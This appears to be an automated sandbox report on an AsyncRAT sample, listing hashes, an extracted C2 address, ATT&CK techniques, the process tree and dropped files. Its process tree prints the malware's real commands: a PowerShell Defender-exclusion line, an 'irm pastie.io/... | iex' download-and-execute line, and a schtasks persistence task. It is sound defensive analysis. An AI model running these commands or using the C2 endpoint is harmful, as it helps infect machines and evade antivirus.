asyncrat | 6bcbbae880579def254a8e3d321041b4f0e76853ab30ef7205ba4f98344e321d

Analysis

max time kernel
150s
max time network
149s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
05/11/2024, 01:35

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

6bcbbae880579def254a8e3d321041b4f0e76853ab30ef7205ba4f98344e321d.exe
Size

290KB
MD5

6f54a8127fa583d9bb627d9dd609faa0
SHA1

725b74814a9c70c26674a69f93741ec731a4284c
SHA256

6bcbbae880579def254a8e3d321041b4f0e76853ab30ef7205ba4f98344e321d
SHA512

9c5dcb237ca86f4f82c530dce0398fe78100394cce270a20bf60600a2ad3e39893b7437c792bc821910a93d670fb3e3fc6c9de2a22eff79ef3c9d7b65254297a
SSDEEP

6144:WtfWVjfwqnZqqHMhDVRLht8iswEcb8pPQDvv4IuWURFPtKnH7ls9UE9:WoRfwoZrHMBV9EwEcb8+DvtuWUb4ps9U

Score

10^/10

asyncrat default discovery evasion execution rat

Malware Config

Extracted

Family

asyncrat

Version

1.0.7

Botnet

Default

bay-helps.gl.at.ply.gg:36538

Mutex

DcRatMutex_qwqdanchun

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Modifies security service 2 TTPs 2 IoCs

evasion

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\MpsSvc\Parameters\PortKeywords\DHCP\Collection	svchost.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\MpsSvc\Parameters\PortKeywords\DHCP	svchost.exe

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 1628 created 428	1628	Stub.exe	5

Async RAT payload 2 IoCs

rat

resource	yara_rule
behavioral1/files/0x00190000000055b1-12.dat	family_asyncrat
behavioral1/memory/1628-256-0x0000000000B00000-0x0000000000B12000-memory.dmp	family_asyncrat

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2092	powershell.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe	6bcbbae880579def254a8e3d321041b4f0e76853ab30ef7205ba4f98344e321d.exe

Executes dropped EXE 2 IoCs

pid	Process
1628	Stub.exe
2800	XWormLoader.exe

Loads dropped DLL 5 IoCs

pid	Process
2864	WerFault.exe
2864	WerFault.exe
2864	WerFault.exe
2864	WerFault.exe
2864	WerFault.exe

Drops file in System32 directory 16 IoCs

description	ioc	Process
File created	C:\Windows\system32\perfc010.dat	WMIADAP.EXE
File opened for modification	C:\Windows\system32\PerfStringBackup.INI	WMIADAP.EXE
File created	C:\Windows\System32\Tasks\$77Stub.exe	svchost.exe
File created	C:\Windows\system32\perfh00A.dat	WMIADAP.EXE
File created	C:\Windows\system32\perfc00C.dat	WMIADAP.EXE
File created	C:\Windows\system32\perfc011.dat	WMIADAP.EXE
File created	C:\Windows\system32\perfh011.dat	WMIADAP.EXE
File opened for modification	C:\Windows\System32\Tasks\$77Stub.exe	svchost.exe
File created	C:\Windows\system32\perfc007.dat	WMIADAP.EXE
File created	C:\Windows\system32\perfh007.dat	WMIADAP.EXE
File created	C:\Windows\system32\perfc00A.dat	WMIADAP.EXE
File created	C:\Windows\system32\PerfStringBackup.TMP	WMIADAP.EXE
File created	C:\Windows\system32\perfc009.dat	WMIADAP.EXE
File created	C:\Windows\system32\perfh009.dat	WMIADAP.EXE
File created	C:\Windows\system32\perfh00C.dat	WMIADAP.EXE
File created	C:\Windows\system32\perfh010.dat	WMIADAP.EXE

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1628 set thread context of 2576	1628	Stub.exe	36

Drops file in Windows directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\appcompat\programs\RecentFileCache.bcf	svchost.exe
File created	C:\Windows\inf\WmiApRpl\WmiApRpl.h	WMIADAP.EXE
File opened for modification	C:\Windows\inf\WmiApRpl\WmiApRpl.h	WMIADAP.EXE
File created	C:\Windows\inf\WmiApRpl\0009\WmiApRpl.ini	WMIADAP.EXE

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2864	2800	WerFault.exe	34

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	XWormLoader.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1652	SCHTASKS.exe
2432	SCHTASKS.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2092	powershell.exe
1628	Stub.exe
2576	dllhost.exe
2576	dllhost.exe
2576	dllhost.exe
2576	dllhost.exe
2576	dllhost.exe
2576	dllhost.exe
2576	dllhost.exe
2576	dllhost.exe
2576	dllhost.exe
2576	dllhost.exe
3068	powershell.exe
2576	dllhost.exe
2576	dllhost.exe
2576	dllhost.exe
2576	dllhost.exe
2576	dllhost.exe
2576	dllhost.exe
2576	dllhost.exe
2576	dllhost.exe
2576	dllhost.exe
2576	dllhost.exe
2576	dllhost.exe
2576	dllhost.exe
2576	dllhost.exe
2576	dllhost.exe
2576	dllhost.exe
2576	dllhost.exe
2576	dllhost.exe
2576	dllhost.exe
2576	dllhost.exe
2576	dllhost.exe
2576	dllhost.exe
2576	dllhost.exe
2576	dllhost.exe
2576	dllhost.exe
2576	dllhost.exe
2576	dllhost.exe
2576	dllhost.exe
2576	dllhost.exe
2576	dllhost.exe
2576	dllhost.exe
2576	dllhost.exe
2576	dllhost.exe
2576	dllhost.exe
2576	dllhost.exe
2576	dllhost.exe
2576	dllhost.exe
2576	dllhost.exe
2576	dllhost.exe
2576	dllhost.exe
2576	dllhost.exe
2576	dllhost.exe
2576	dllhost.exe
2576	dllhost.exe
2576	dllhost.exe
2576	dllhost.exe
2576	dllhost.exe
2576	dllhost.exe
2576	dllhost.exe
2576	dllhost.exe
2576	dllhost.exe
2576	dllhost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2092	powershell.exe
Token: SeDebugPrivilege	1628	Stub.exe
Token: SeDebugPrivilege	1628	Stub.exe
Token: SeDebugPrivilege	2576	dllhost.exe
Token: SeAuditPrivilege	840	svchost.exe
Token: SeDebugPrivilege	3068	powershell.exe
Token: SeShutdownPrivilege	1188	Explorer.EXE
Token: SeShutdownPrivilege	1188	Explorer.EXE
Token: SeShutdownPrivilege	1188	Explorer.EXE
Token: SeShutdownPrivilege	1188	Explorer.EXE
Token: SeShutdownPrivilege	1188	Explorer.EXE
Token: SeAuditPrivilege	840	svchost.exe
Token: SeShutdownPrivilege	1188	Explorer.EXE
Token: SeAssignPrimaryTokenPrivilege	840	svchost.exe
Token: SeIncreaseQuotaPrivilege	840	svchost.exe
Token: SeSecurityPrivilege	840	svchost.exe
Token: SeTakeOwnershipPrivilege	840	svchost.exe
Token: SeLoadDriverPrivilege	840	svchost.exe
Token: SeSystemtimePrivilege	840	svchost.exe
Token: SeBackupPrivilege	840	svchost.exe
Token: SeRestorePrivilege	840	svchost.exe
Token: SeShutdownPrivilege	840	svchost.exe
Token: SeSystemEnvironmentPrivilege	840	svchost.exe
Token: SeUndockPrivilege	840	svchost.exe
Token: SeManageVolumePrivilege	840	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	840	svchost.exe
Token: SeIncreaseQuotaPrivilege	840	svchost.exe
Token: SeSecurityPrivilege	840	svchost.exe
Token: SeTakeOwnershipPrivilege	840	svchost.exe
Token: SeLoadDriverPrivilege	840	svchost.exe
Token: SeSystemtimePrivilege	840	svchost.exe
Token: SeBackupPrivilege	840	svchost.exe
Token: SeRestorePrivilege	840	svchost.exe
Token: SeShutdownPrivilege	840	svchost.exe
Token: SeSystemEnvironmentPrivilege	840	svchost.exe
Token: SeUndockPrivilege	840	svchost.exe
Token: SeManageVolumePrivilege	840	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	840	svchost.exe
Token: SeIncreaseQuotaPrivilege	840	svchost.exe
Token: SeSecurityPrivilege	840	svchost.exe
Token: SeTakeOwnershipPrivilege	840	svchost.exe
Token: SeLoadDriverPrivilege	840	svchost.exe
Token: SeSystemtimePrivilege	840	svchost.exe
Token: SeBackupPrivilege	840	svchost.exe
Token: SeRestorePrivilege	840	svchost.exe
Token: SeShutdownPrivilege	840	svchost.exe
Token: SeSystemEnvironmentPrivilege	840	svchost.exe
Token: SeUndockPrivilege	840	svchost.exe
Token: SeManageVolumePrivilege	840	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	840	svchost.exe
Token: SeIncreaseQuotaPrivilege	840	svchost.exe
Token: SeSecurityPrivilege	840	svchost.exe
Token: SeTakeOwnershipPrivilege	840	svchost.exe
Token: SeLoadDriverPrivilege	840	svchost.exe
Token: SeSystemtimePrivilege	840	svchost.exe
Token: SeBackupPrivilege	840	svchost.exe
Token: SeRestorePrivilege	840	svchost.exe
Token: SeShutdownPrivilege	840	svchost.exe
Token: SeSystemEnvironmentPrivilege	840	svchost.exe
Token: SeUndockPrivilege	840	svchost.exe
Token: SeManageVolumePrivilege	840	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	840	svchost.exe
Token: SeIncreaseQuotaPrivilege	840	svchost.exe
Token: SeSecurityPrivilege	840	svchost.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2228 wrote to memory of 2092	2228	6bcbbae880579def254a8e3d321041b4f0e76853ab30ef7205ba4f98344e321d.exe	31
PID 2228 wrote to memory of 2092	2228	6bcbbae880579def254a8e3d321041b4f0e76853ab30ef7205ba4f98344e321d.exe	31
PID 2228 wrote to memory of 2092	2228	6bcbbae880579def254a8e3d321041b4f0e76853ab30ef7205ba4f98344e321d.exe	31
PID 2228 wrote to memory of 1628	2228	6bcbbae880579def254a8e3d321041b4f0e76853ab30ef7205ba4f98344e321d.exe	33
PID 2228 wrote to memory of 1628	2228	6bcbbae880579def254a8e3d321041b4f0e76853ab30ef7205ba4f98344e321d.exe	33
PID 2228 wrote to memory of 1628	2228	6bcbbae880579def254a8e3d321041b4f0e76853ab30ef7205ba4f98344e321d.exe	33
PID 2228 wrote to memory of 2800	2228	6bcbbae880579def254a8e3d321041b4f0e76853ab30ef7205ba4f98344e321d.exe	34
PID 2228 wrote to memory of 2800	2228	6bcbbae880579def254a8e3d321041b4f0e76853ab30ef7205ba4f98344e321d.exe	34
PID 2228 wrote to memory of 2800	2228	6bcbbae880579def254a8e3d321041b4f0e76853ab30ef7205ba4f98344e321d.exe	34
PID 2228 wrote to memory of 2800	2228	6bcbbae880579def254a8e3d321041b4f0e76853ab30ef7205ba4f98344e321d.exe	34
PID 1628 wrote to memory of 2576	1628	Stub.exe	36
PID 1628 wrote to memory of 2576	1628	Stub.exe	36
PID 1628 wrote to memory of 2576	1628	Stub.exe	36
PID 1628 wrote to memory of 2576	1628	Stub.exe	36
PID 1628 wrote to memory of 2576	1628	Stub.exe	36
PID 1628 wrote to memory of 2576	1628	Stub.exe	36
PID 1628 wrote to memory of 2576	1628	Stub.exe	36
PID 1628 wrote to memory of 2576	1628	Stub.exe	36
PID 1628 wrote to memory of 2576	1628	Stub.exe	36
PID 1628 wrote to memory of 2576	1628	Stub.exe	36
PID 1628 wrote to memory of 2576	1628	Stub.exe	36
PID 1628 wrote to memory of 2576	1628	Stub.exe	36
PID 1628 wrote to memory of 2604	1628	Stub.exe	37
PID 1628 wrote to memory of 2604	1628	Stub.exe	37
PID 1628 wrote to memory of 2604	1628	Stub.exe	37
PID 2576 wrote to memory of 428	2576	dllhost.exe	5
PID 2576 wrote to memory of 472	2576	dllhost.exe	6
PID 2576 wrote to memory of 484	2576	dllhost.exe	7
PID 2576 wrote to memory of 492	2576	dllhost.exe	8
PID 2576 wrote to memory of 588	2576	dllhost.exe	9
PID 2576 wrote to memory of 664	2576	dllhost.exe	10
PID 2576 wrote to memory of 732	2576	dllhost.exe	11
PID 2576 wrote to memory of 800	2576	dllhost.exe	12
PID 2576 wrote to memory of 840	2576	dllhost.exe	13
PID 2576 wrote to memory of 952	2576	dllhost.exe	15
PID 2576 wrote to memory of 1016	2576	dllhost.exe	16
PID 2576 wrote to memory of 1004	2576	dllhost.exe	17
PID 2576 wrote to memory of 1056	2576	dllhost.exe	18
PID 2576 wrote to memory of 1096	2576	dllhost.exe	19
PID 2576 wrote to memory of 1156	2576	dllhost.exe	20
PID 2576 wrote to memory of 1188	2576	dllhost.exe	21
PID 2576 wrote to memory of 1988	2576	dllhost.exe	23
PID 2576 wrote to memory of 1228	2576	dllhost.exe	24
PID 2576 wrote to memory of 616	2576	dllhost.exe	25
PID 2576 wrote to memory of 584	2576	dllhost.exe	26
PID 2576 wrote to memory of 2216	2576	dllhost.exe	27
PID 2576 wrote to memory of 2496	2576	dllhost.exe	28
PID 2576 wrote to memory of 1628	2576	dllhost.exe	33
PID 2576 wrote to memory of 2776	2576	dllhost.exe	35
PID 2576 wrote to memory of 2604	2576	dllhost.exe	37
PID 2604 wrote to memory of 3068	2604	cmd.exe	39
PID 2604 wrote to memory of 3068	2604	cmd.exe	39
PID 2604 wrote to memory of 3068	2604	cmd.exe	39
PID 2576 wrote to memory of 828	2576	dllhost.exe	38
PID 2576 wrote to memory of 3068	2576	dllhost.exe	39
PID 1628 wrote to memory of 1652	1628	Stub.exe	40
PID 1628 wrote to memory of 1652	1628	Stub.exe	40
PID 1628 wrote to memory of 1652	1628	Stub.exe	40
PID 2576 wrote to memory of 1652	2576	dllhost.exe	40
PID 2576 wrote to memory of 1652	2576	dllhost.exe	40
PID 2576 wrote to memory of 2512	2576	dllhost.exe	41
PID 1628 wrote to memory of 2432	1628	Stub.exe	42
PID 1628 wrote to memory of 2432	1628	Stub.exe	42
PID 1628 wrote to memory of 2432	1628	Stub.exe	42

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:428
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{58249d76-b139-4df5-b3f8-55149b5816c9}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2576

C:\Windows\system32\services.exe
C:\Windows\system32\services.exe
1⤵
PID:472
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k DcomLaunch
  2⤵
  PID:588
- - C:\Windows\system32\DllHost.exe
    C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
    3⤵
    PID:1988
- - C:\Windows\system32\wbem\wmiprvse.exe
    C:\Windows\system32\wbem\wmiprvse.exe
    3⤵
    PID:616
- - C:\Windows\system32\wbem\wmiprvse.exe
    C:\Windows\system32\wbem\wmiprvse.exe -Embedding
    3⤵
    PID:1572
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k RPCSS
  2⤵
  PID:664
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
  2⤵
  - Modifies security service
  PID:732
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
  2⤵
  PID:800
- - C:\Windows\system32\Dwm.exe
    "C:\Windows\system32\Dwm.exe"
    3⤵
    PID:1156
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k netsvcs
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Suspicious use of AdjustPrivilegeToken
  PID:840
- - \\?\C:\Windows\system32\wbem\WMIADAP.EXE
    wmiadap.exe /F /T /R
    3⤵
    - Drops file in System32 directory
    - Drops file in Windows directory
    PID:2496
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k LocalService
  2⤵
  PID:952
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k NetworkService
  2⤵
  PID:1016
- C:\Windows\System32\spoolsv.exe
  C:\Windows\System32\spoolsv.exe
  2⤵
  PID:1004
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork
  2⤵
  PID:1056
- C:\Windows\system32\taskhost.exe
  "taskhost.exe"
  2⤵
  PID:1096
- C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE
  "C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE"
  2⤵
  PID:1228
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation
  2⤵
  PID:584
- C:\Windows\system32\sppsvc.exe
  C:\Windows\system32\sppsvc.exe
  2⤵
  PID:2216

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:484

C:\Windows\system32\lsm.exe
C:\Windows\system32\lsm.exe
1⤵
PID:492

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1188
- C:\Users\Admin\AppData\Local\Temp\6bcbbae880579def254a8e3d321041b4f0e76853ab30ef7205ba4f98344e321d.exe
  "C:\Users\Admin\AppData\Local\Temp\6bcbbae880579def254a8e3d321041b4f0e76853ab30ef7205ba4f98344e321d.exe"
  2⤵
  - Drops startup file
  - Suspicious use of WriteProcessMemory
  PID:2228
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2092
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1628
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c powershell "irm pastie.io/raw/fgaazw | iex"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2604
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell "irm pastie.io/raw/fgaazw | iex"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3068
  - - C:\Windows\system32\SCHTASKS.exe
      "SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1652
  - - C:\Windows\system32\SCHTASKS.exe
      "SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2432
- - C:\Users\Admin\AppData\Local\Temp\XWormLoader.exe
    "C:\Users\Admin\AppData\Local\Temp\XWormLoader.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2800
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2800 -s 568
      4⤵
      Loads dropped DLL
      Program crash
      PID:2864

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-3498378021332575111-1096393759-1283464378635328113288669565-171612110-1547546516"
1⤵
PID:2776

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "574255428-882907361-295978029-3718018192016619350-1233598176155508639-1780082308"
1⤵
PID:828

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-995452825-237128470481109859164666532812966407201843196058-76716494-1471970092"
1⤵
PID:2512

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-16091120351154533917-1064547806575665457-686034043-219539361-84443254-1613184412"
1⤵
PID:2100

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\XWormLoader.exe

Filesize
101KB

MD5
39d81ca537ceb52632fbb2e975c3ee2f

SHA1
0a3814bd3ccea28b144983daab277d72313524e4

SHA256
76c4d61afdebf279316b40e1ca3c56996b16d760aa080d3121d6982f0e61d8e7

SHA512
18f7acf9e7b992e95f06ab1c96f017a6e7acde36c1e7c1ff254853a1bfcde65abcdaa797b36071b9349e83aa2c0a45c6dfb2d637c153b53c66fc92066f6d4f9a

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
7f13b5327c363956f7fd84ca6e274595

SHA1
53d61536b6f6444077be0c324f70ee3c05a7f16c

SHA256
329179388ffeec2a81441c2342841b102727a68dceff6a734b5df9c87c95b539

SHA512
7d4707d65b52ec14fc4e5a2f36f6f465d84cd283d2a514a233f760e2f5b1f619094ccd74ce7721b706924c1ba701ab26ae50d66d33a30f214f8103463fe5c3aa

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe

Filesize
290KB

MD5
cc63633edfcc147cbaed1959b03d8730

SHA1
df7a250eba6ee1767b09f7923bfd735635deb9e8

SHA256
e699d9e9a81e9de82ce7ed645ef2a92ed6231e32cbc18a7e9ddff5c82623d417

SHA512
a584893714d46c6bdf4cc0a097b5f088a9aa49eea07b181745ca9b351b570c8ac3487bfe53a8a97213f5d8a7f71dbf4070ff92eab58b2ff7a4d0e784e17d02d4

Download Submit
C:\Windows\System32\perfc007.dat

Filesize
141KB

MD5
0f3d76321f0a7986b42b25a3aa554f82

SHA1
7036bba62109cc25da5d6a84d22b6edb954987c0

SHA256
dfad62e3372760d303f7337fe290e4cb28e714caadd3c59294b77968d81fe460

SHA512
bb02a3f14d47d233fbda046f61bbf5612ebc6213b156af9c47f56733a03df1bb484d1c3576569eb4499d7b378eb01f4d6e906c36c6f71738482584c2e84b47d0

Download Submit
C:\Windows\System32\perfc00A.dat

Filesize
150KB

MD5
540138285295c68de32a419b7d9de687

SHA1
1cf6a2a0f53f0516ff9fe5ac733dbb5a9255ae56

SHA256
33867c52f756f2b0f645f4bd503c65969d73676dcb14e6a6fdb2ffb11c7562eb

SHA512
7c17c10d4b6165aa0c208811dc6d98e2f4e75e3da1cc2313cc7da9d657626beb3e4ec00b07b71376a7c549725d40db20d8952753e70acc86e87a8390e224a64a

Download Submit
C:\Windows\System32\perfc00C.dat

Filesize
141KB

MD5
831dbe568992299e589143ee8898e131

SHA1
737726173aab8b76fe1f98104d72bb91abd273bf

SHA256
4f22ef1625fb2a2370779d0992f80b8e5e5da8dc727aa99ade152044d28e9405

SHA512
39015d29d593c9df59cdafbff95a6ddc000a5dbf767665b65f8ec65751e70315918c93d3583b922d32e9b6261b8c07023da660098ca79c5420b782c150b5c139

Download Submit
C:\Windows\System32\perfc010.dat

Filesize
138KB

MD5
cf82e7354e591c1408eb2cc0e29dd274

SHA1
7e91bd50c3e6b64b81e2b5c1ce723f52e34748e9

SHA256
59b5e6fbbe68f47db14a3c045b0ac1abb026c626ca4bee708fbd3940e6d2e06d

SHA512
98bd4809c1c418be4100096bc9df328d2ad435c5615c082fa2bfa424935203107015862cd9c1737800b7f7bd020fea4538c325707927c1557bc3efebffb27620

Download Submit
C:\Windows\System32\perfc011.dat

Filesize
114KB

MD5
1f998386566e5f9b7f11cc79254d1820

SHA1
e1da5fe1f305099b94de565d06bc6f36c6794481

SHA256
1665d97fb8786b94745295feb616a30c27af84e8a5e1d25cd1bcaf70723040ea

SHA512
a7c9702dd5833f4d6d27ce293efb9507948a3b05db350fc9909af6a48bd649c7578f856b4d64d87df451d0efbe202c62da7fffcac03b3fe72c7caaea553de75f

Download Submit
C:\Windows\System32\perfh007.dat

Filesize
668KB

MD5
5026297c7c445e7f6f705906a6f57c02

SHA1
4ec3b66d44b0d44ec139bd1475afd100748f9e91

SHA256
506d3bec72805973df3b2e11aba4d074aeb4b26b7335536e79ea1145108817cc

SHA512
5be8e51ecacda465b905df3e38ac114240d8fa6bae5bb17e8e53a87630454b57514ca0abbd8afefd798d450cd4ee89caf4391eeb837ced384260c188482fb48d

Download Submit
C:\Windows\System32\perfh009.dat

Filesize
634KB

MD5
1c678ee06bd02b5d9e4d51c3a4ec2d2b

SHA1
90aa7fdfaaa37fb4f2edfc8efc3994871087dedb

SHA256
2d168ab31836a08d8ca00aab9685f040aac4052a7f10fbbf0c28e9f880a79dd3

SHA512
ec665d7a20f27b2a0fe2475883009c6d34615cc2046d096de447ef57bcac9da0ae842be0556f5736f42d9c1c601fb8629896a2444990e508f7c573165088ab32

Download Submit
C:\Windows\System32\perfh00A.dat

Filesize
727KB

MD5
3251572461218e279aa1ffd235c6b74d

SHA1
bd6db180b78c22fab20f55dbf0f84a39a0fc19a2

SHA256
baeac7bef7ece88ea3cb784effd1a34232c13d998ce272ac8bc7395e6b5ec60e

SHA512
700b36964455f960511f5bbeea804febaf0ebea17a6f092cd875f7f6593ffbe79f763bd2e0bee89bb8538e67ee34c49270626d3f78db71cb39c8022d0d4baa8c

Download Submit
C:\Windows\System32\perfh00C.dat

Filesize
715KB

MD5
718bb9564980029a2e3341093a4bb082

SHA1
8953d96e47b65c2c70f2bcc3d9e2e7c55d41ee61

SHA256
ad7b5314ef00ce846ae2c91a32dd1c1f2b4905cf182005e251ad6d4af66cc977

SHA512
3f22961d108271dc098ae2c75d217991da38c18a587b44abd74da853ea26d171ca1a507c3200f3b7c2a8175bfff5a8b968a551a4804082064dc6f2ef98b5432d

Download Submit
C:\Windows\System32\perfh010.dat

Filesize
722KB

MD5
4623482c106cf6cc1bac198f31787b65

SHA1
5abb0decf7b42ef5daf7db012a742311932f6dad

SHA256
eceda45aedbf6454b79f010c891bead3844d43189972f6beeb5ccddb13cc0349

SHA512
afecefcec652856dd8b4275f11d75a68a582337b682309c4b61fd26ed7038b92e6b9aa72c1bfc350ce2caf5e357098b54eb1e448a4392960f9f82e01c447669f

Download Submit
C:\Windows\System32\perfh011.dat

Filesize
406KB

MD5
54c674d19c0ff72816402f66f6c3d37c

SHA1
2dcc0269545a213648d59dc84916d9ec2d62a138

SHA256
646d4ea2f0670691aa5b998c26626ede7623886ed3ac9bc9679018f85e584bb5

SHA512
4d451e9bef2c451cb9e86c7f4d705be65787c88df5281da94012bfbe5af496718ec3e48099ec3dff1d06fee7133293f10d649866fe59daa7951aebe2e5e67c1f

Download Submit
memory/428-33-0x0000000000420000-0x000000000044A000-memory.dmp

Filesize
168KB

Download
memory/428-34-0x000007FEBED30000-0x000007FEBED40000-memory.dmp

Filesize
64KB

Download
memory/428-35-0x0000000037610000-0x0000000037620000-memory.dmp

Filesize
64KB

Download
memory/428-32-0x00000000003F0000-0x0000000000413000-memory.dmp

Filesize
140KB

Download
memory/428-30-0x00000000003F0000-0x0000000000413000-memory.dmp

Filesize
140KB

Download
memory/472-50-0x0000000000060000-0x000000000008A000-memory.dmp

Filesize
168KB

Download
memory/472-51-0x000007FEBED30000-0x000007FEBED40000-memory.dmp

Filesize
64KB

Download
memory/472-52-0x0000000037610000-0x0000000037620000-memory.dmp

Filesize
64KB

Download
memory/484-55-0x0000000037610000-0x0000000037620000-memory.dmp

Filesize
64KB

Download
memory/484-54-0x000007FEBED30000-0x000007FEBED40000-memory.dmp

Filesize
64KB

Download
memory/484-53-0x0000000000180000-0x00000000001AA000-memory.dmp

Filesize
168KB

Download
memory/492-60-0x0000000000490000-0x00000000004BA000-memory.dmp

Filesize
168KB

Download
memory/492-61-0x000007FEBED30000-0x000007FEBED40000-memory.dmp

Filesize
64KB

Download
memory/492-62-0x0000000037610000-0x0000000037620000-memory.dmp

Filesize
64KB

Download
memory/1628-23-0x00000000774B0000-0x00000000775CF000-memory.dmp

Filesize
1.1MB

Download
